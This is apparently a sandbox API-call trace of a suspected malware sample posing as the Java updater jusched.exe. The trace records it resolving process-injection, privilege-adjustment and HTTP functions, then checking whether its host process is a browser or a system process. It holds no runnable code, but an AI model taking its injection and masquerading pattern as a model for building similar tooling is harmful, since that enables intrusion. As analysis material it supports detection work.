(Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.102] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.102] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.103] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.103] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.103] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.106] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.128] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.299] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.299] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.309] __dllonexit () returned 0x754969e1 [0100.309] __dllonexit () returned 0x75496b9c [0100.309] __dllonexit () returned 0x75496bbf [0100.309] __dllonexit () returned 0x754969f5 [0100.309] __dllonexit () returned 0x75496e0e [0100.309] __dllonexit () returned 0x75496bf0 [0100.309] __dllonexit () returned 0x75496a13 [0100.309] __dllonexit () returned 0x75496a04 [0100.309] __dllonexit () returned 0x75496c67 [0100.310] __dllonexit () returned 0x75496a9a [0100.310] __dllonexit () returned 0x75496a22 [0100.310] __dllonexit () returned 0x75496a31 [0100.310] __dllonexit () returned 0x75496a40 [0100.310] __dllonexit () returned 0x75496a4f [0100.310] __dllonexit () returned 0x75496a5e [0100.310] __dllonexit () returned 0x75496a6d [0100.310] __dllonexit () returned 0x75496a7c [0100.310] __dllonexit () returned 0x75496a8b [0100.310] __dllonexit () returned 0x75496ad5 [0100.310] __dllonexit () returned 0x75496abc [0100.310] __dllonexit () returned 0x75496aad [0100.310] __dllonexit () returned 0x75496c95 [0100.311] GetVersionExW (in: lpVersionInformation=0x32f758*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1, dwMinorVersion=0x3c00c4, dwBuildNumber=0x7f, dwPlatformId=0x3c7aa8, szCSDVersion="\x11") | out: lpVersionInformation=0x32f758*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.311] GetCurrentProcess () returned 0xffffffff [0100.311] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0x32f750, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x32f750, ReturnLength=0x0) returned 0x0 [0100.316] GetModuleHandleExW (in: dwFlags=0x2, lpModuleName="KERNEL32.DLL", phModule=0x32f754 | out: phModule=0x32f754*=0x76300000) returned 1 [0100.316] GetProcAddress (hModule=0x76300000, lpProcName=0x754d929c) returned 0x763210b5 [0100.320] GetNativeSystemInfo (in: lpSystemInfo=0x32f724 | out: lpSystemInfo=0x32f724*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0100.320] QueryPerformanceFrequency (in: lpFrequency=0x756a8c98 | out: lpFrequency=0x756a8c98) returned 1 [0100.325] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Control\\FileSystem", ulOptions=0x0, samDesired=0x20119, phkResult=0x32f8ac | out: phkResult=0x32f8ac*=0x98) returned 0x0 [0100.325] RegQueryValueExW (in: hKey=0x98, lpValueName="Win31FileSystem", lpReserved=0x0, lpType=0x0, lpData=0x32f8b0, lpcbData=0x32f8a8*=0x4 | out: lpType=0x0, lpData=0x32f8b0*=0x0, lpcbData=0x32f8a8*=0x4) returned 0x0 [0100.325] RegCloseKey (hKey=0x98) returned 0x0 [0100.325] DisableThreadLibraryCalls (hLibModule=0x75490000) returned 1 [0100.325] LoadLibraryExA (lpLibFileName="KERNEL32.DLL", hFile=0x0, dwFlags=0x0) returned 0x76300000 [0100.325] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0100.325] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0100.325] GetProcAddress (hModule=0x76300000, lpProcName="VirtualProtect") returned 0x7631435f [0100.325] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAlloc") returned 0x76311856 [0100.325] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFree") returned 0x7631186e [0100.326] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x772d0000 [0100.326] GetProcAddress (hModule=0x772d0000, lpProcName="SetSecurityInfo") returned 0x772d9edf [0100.326] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x77920000 [0100.326] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.327] GetProcAddress (hModule=0x77920000, lpProcName="MapFileAndCheckSumA") returned 0x779283f7 [0100.327] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77e30000 [0100.328] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0100.328] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75d60000 [0100.328] GetProcAddress (hModule=0x75d60000, lpProcName="CoUninitialize") returned 0x75da86d3 [0100.328] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x76610000 [0100.328] GetProcAddress (hModule=0x76610000, lpProcName="SHGetSpecialFolderPathA") returned 0x7685fb26 [0100.328] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x76210000 [0100.328] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0100.328] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x75a80000 [0100.329] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0100.329] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x75ec0000 [0100.329] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetOpenA") returned 0x75eef18e [0100.330] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76300000 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="SetEndOfFile") returned 0x7632ce2e [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="SuspendThread") returned 0x76337d7e [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="OpenThread") returned 0x76321248 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="SystemTimeToFileTime") returned 0x76315a7e [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="GetVersionExA") returned 0x76313519 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="GetLocaleInfoA") returned 0x7632d5e5 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="GetWindowsDirectoryA") returned 0x76332b0a [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="WinExec") returned 0x76392c21 [0100.330] GetProcAddress (hModule=0x76300000, lpProcName="GetCommandLineA") returned 0x763151a1 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="LocalFree") returned 0x76312d3c [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="SetWaitableTimer") returned 0x7633bb2f [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="CreateWaitableTimerA") returned 0x76394c24 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="CopyFileA") returned 0x763358e5 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="FileTimeToSystemTime") returned 0x7631542c [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="VirtualProtect") returned 0x7631435f [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="UnmapViewOfFile") returned 0x76311826 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="MapViewOfFile") returned 0x763118f1 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileMappingA") returned 0x76315506 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleA") returned 0x76311245 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="RemoveDirectoryA") returned 0x763944bf [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="DeleteFileA") returned 0x76315444 [0100.331] GetProcAddress (hModule=0x76300000, lpProcName="CreateDirectoryA") returned 0x7633d526 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="GetTempPathA") returned 0x7633276c [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemTimeAsFileTime") returned 0x76313509 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadPriority") returned 0x763132bb [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="WideCharToMultiByte") returned 0x7631170d [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="MultiByteToWideChar") returned 0x7631192e [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="GetTickCount") returned 0x7631110c [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemInfo") returned 0x763149ca [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="QueueUserWorkItem") returned 0x7632ca80 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="Sleep") returned 0x763110ff [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="ResumeThread") returned 0x763143ef [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadContext") returned 0x76395393 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="GetThreadContext") returned 0x763379d4 [0100.332] GetProcAddress (hModule=0x76300000, lpProcName="WriteProcessMemory") returned 0x7632d9e0 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAllocEx") returned 0x7632d9b0 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="CreateProcessA") returned 0x76311072 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFreeEx") returned 0x7632d9c8 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="ExitProcess") returned 0x76317a10 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="FindClose") returned 0x76314442 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="FindNextFileA") returned 0x7633d53e [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="FindFirstFileA") returned 0x7631e2ce [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="SetFilePointer") returned 0x763117d1 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleFileNameA") returned 0x763114b1 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSection") returned 0x77e62c42 [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="FlushFileBuffers") returned 0x7631469b [0100.333] GetProcAddress (hModule=0x76300000, lpProcName="WriteFile") returned 0x76311282 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="ReadFile") returned 0x76313ed3 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="GetFileSize") returned 0x7631196e [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileA") returned 0x763153c6 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileSectionA") returned 0x7638a0b5 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileIntA") returned 0x7633cdd7 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileStringA") returned 0x7632184c [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="WritePrivateProfileStringA") returned 0x76337048 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="HeapCreate") returned 0x76314a2d [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="HeapDestroy") returned 0x763135b7 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="HeapAlloc") returned 0x77e5e026 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="HeapReAlloc") returned 0x77e71f6e [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="HeapFree") returned 0x763114c9 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAlloc") returned 0x76311856 [0100.334] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFree") returned 0x7631186e [0100.335] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0100.335] GetProcAddress (hModule=0x76300000, lpProcName="CreateMutexA") returned 0x76314c6b [0100.335] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0100.335] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0100.335] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseMutex") returned 0x7631111e [0100.335] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x772d0000 [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x772e1f59 [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="SetSecurityInfo") returned 0x772d9edf [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="GetSecurityDescriptorSacl") returned 0x772e4608 [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="CreateProcessAsUserA") returned 0x77312538 [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="AdjustTokenPrivileges") returned 0x772e418e [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="LookupPrivilegeValueA") returned 0x772e404a [0100.335] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcessToken") returned 0x772e4304 [0100.335] LoadLibraryA (lpLibFileName="imagehlp.dll") returned 0x77920000 [0100.335] GetProcAddress (hModule=0x77920000, lpProcName="MapFileAndCheckSumA") returned 0x779283f7 [0100.335] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77e30000 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="ZwQuerySystemInformation") returned 0x77e4fda0 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="ZwSetInformationToken") returned 0x77e51a78 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="ZwDuplicateToken") returned 0x77e4fec8 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="ZwClose") returned 0x77e4f9d0 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77e4feb0 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="ZwOpenProcessToken") returned 0x77e510b0 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="qsort") returned 0x77f05191 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="swprintf") returned 0x77f0550d [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsnicmp") returned 0x77e5f63b [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsicmp") returned 0x77e69337 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="strstr") returned 0x77eac780 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="sprintf") returned 0x77f053c3 [0100.336] GetProcAddress (hModule=0x77e30000, lpProcName="strncat") returned 0x77eac570 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="strchr") returned 0x77e69c70 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="strrchr") returned 0x77eac700 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="ispunct") returned 0x77f043f3 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="isalnum") returned 0x77f04418 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="strncpy") returned 0x77ea5c30 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="RtlComputeCrc32") returned 0x77eeffc1 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="_snprintf") returned 0x77f04760 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEqualUnicodeString") returned 0x77e5e7f3 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="_stricmp") returned 0x77e6c7b9 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="_snwprintf") returned 0x77e62417 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="sscanf") returned 0x77f054a7 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="ZwFreeVirtualMemory") returned 0x77e4fb48 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="ZwAllocateVirtualMemory") returned 0x77e4fab0 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageNtHeader") returned 0x77e63164 [0100.337] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77e5f546 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="ZwContinue") returned 0x77e4fee0 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInsertElementGenericTable") returned 0x77e7939a [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteElementGenericTable") returned 0x77e7a168 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLookupElementGenericTable") returned 0x77e7a104 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRandom") returned 0x77ef98c3 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="strpbrk") returned 0x77eac6c0 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="strncmp") returned 0x77e92f65 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="_strnicmp") returned 0x77e8c27c [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="_strlwr") returned 0x77f04a48 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77e7c4ca [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeGenericTable") returned 0x77e6ff97 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEnumerateGenericTable") returned 0x77ef2a56 [0100.338] GetProcAddress (hModule=0x77e30000, lpProcName="memset") returned 0x77e5df20 [0100.339] GetProcAddress (hModule=0x77e30000, lpProcName="memcpy") returned 0x77e52340 [0100.339] GetProcAddress (hModule=0x77e30000, lpProcName="atoi") returned 0x77e7d2f3 [0100.339] GetProcAddress (hModule=0x77e30000, lpProcName="_allmul") returned 0x77e72760 [0100.339] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75d60000 [0100.339] GetProcAddress (hModule=0x75d60000, lpProcName="CoUninitialize") returned 0x75da86d3 [0100.339] GetProcAddress (hModule=0x75d60000, lpProcName="CoInitializeEx") returned 0x75da09ad [0100.339] GetProcAddress (hModule=0x75d60000, lpProcName="CoCreateInstance") returned 0x75da9d0b [0100.339] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76610000 [0100.339] GetProcAddress (hModule=0x76610000, lpProcName="SHGetSpecialFolderPathA") returned 0x7685fb26 [0100.339] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76210000 [0100.339] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0100.339] GetProcAddress (hModule=0x76210000, lpProcName="PathMatchSpecA") returned 0x7624af13 [0100.339] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveBackslashA") returned 0x76248d1a [0100.339] GetProcAddress (hModule=0x76210000, lpProcName="PathFindExtensionA") returned 0x7623eced [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="SHGetValueA") returned 0x7621cf09 [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="SHEnumKeyExA") returned 0x7624fdb6 [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="SHSetValueA") returned 0x7624b0ef [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="PathFindFileNameA") returned 0x762200aa [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIW") returned 0x762246e9 [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="PathFileExistsA") returned 0x7624ad1a [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="PathAppendA") returned 0x7621d65e [0100.340] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveFileSpecA") returned 0x7623e20b [0100.341] GetProcAddress (hModule=0x76210000, lpProcName="PathAddBackslashA") returned 0x7621cf33 [0100.341] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIA") returned 0x7621d250 [0100.341] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75a80000 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="DestroyWindow") returned 0x75a99a55 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="GetClientRect") returned 0x75aa0c62 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="ChildWindowFromPoint") returned 0x75ad8cf0 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="ClientToScreen") returned 0x75aa2606 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="ScreenToClient") returned 0x75aa227d [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="PostMessageW") returned 0x75aa12a5 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="CreateWindowExW") returned 0x75a98a29 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="GetMessageW") returned 0x75a978e2 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="TranslateMessage") returned 0x75a97809 [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="DispatchMessageW") returned 0x75a9787b [0100.341] GetProcAddress (hModule=0x75a80000, lpProcName="KillTimer") returned 0x75a979db [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="SetWindowLongW") returned 0x75a98332 [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowLongW") returned 0x75a96ffe [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="PostQuitMessage") returned 0x75a99abb [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="DefWindowProcW") returned 0x77e625dd [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="FindWindowW") returned 0x75a998fd [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="ExitWindowsEx") returned 0x75ae1497 [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="RegisterClassExW") returned 0x75a9b17d [0100.342] GetProcAddress (hModule=0x75a80000, lpProcName="GetSystemMetrics") returned 0x75a97d2f [0100.342] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75ec0000 [0100.342] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetCloseHandle") returned 0x75edab49 [0100.342] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetOpenA") returned 0x75eef18e [0100.342] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetConnectA") returned 0x75ee49e9 [0100.342] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpOpenRequestA") returned 0x75ee4c7d [0100.342] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpSendRequestA") returned 0x75f518f8 [0100.342] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetQueryOptionW") returned 0x75ed7ed7 [0100.343] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetSetOptionW") returned 0x75ed7741 [0100.343] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpQueryInfoW") returned 0x75ee5c75 [0100.343] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetReadFile") returned 0x75edb406 [0100.343] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetCrackUrlA") returned 0x75ecd075 [0100.343] VirtualProtect (in: lpAddress=0x10000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x32f884 | out: lpflOldProtect=0x32f884*=0x40) returned 1 [0100.343] VirtualProtect (in: lpAddress=0x10000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x32f884 | out: lpflOldProtect=0x32f884*=0x4) returned 1 [0100.344] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0100.344] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x250a0, nSize=0x3ff | out: lpFilename="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe") returned 0x40 [0100.344] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe") returned="jusched.exe" [0100.344] GetCommandLineA () returned="\"C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe\" " [0100.344] _strcmpi (_Str1="jusched.exe", _Str2="svchost.exe") returned -1 [0100.344] _strcmpi (_Str1="jusched.exe", _Str2="ping.exe") returned -1 [0100.345] StrStrIA (lpFirst="jusched.exe", lpSrch="explo") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="firefox") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="chrome") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="opera") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="safari") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="netsc") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="avant") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="browser") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="mozill") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="wuauclt") returned 0x0 [0100.382] StrStrIA (lpFirst="jusched.exe", lpSrch="wermgr.exe") returned 0x0 [0100.383] HeapDestroy (hHeap=0xc10000) returned 1 [0100.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0100.385] IdePortDispatch () returned 0x103 [0100.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359c000 [0100.476] IdePortDispatch () returned 0x103 [0100.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b5000 [0100.486] IdePortDispatch () returned 0x103 [0100.574] 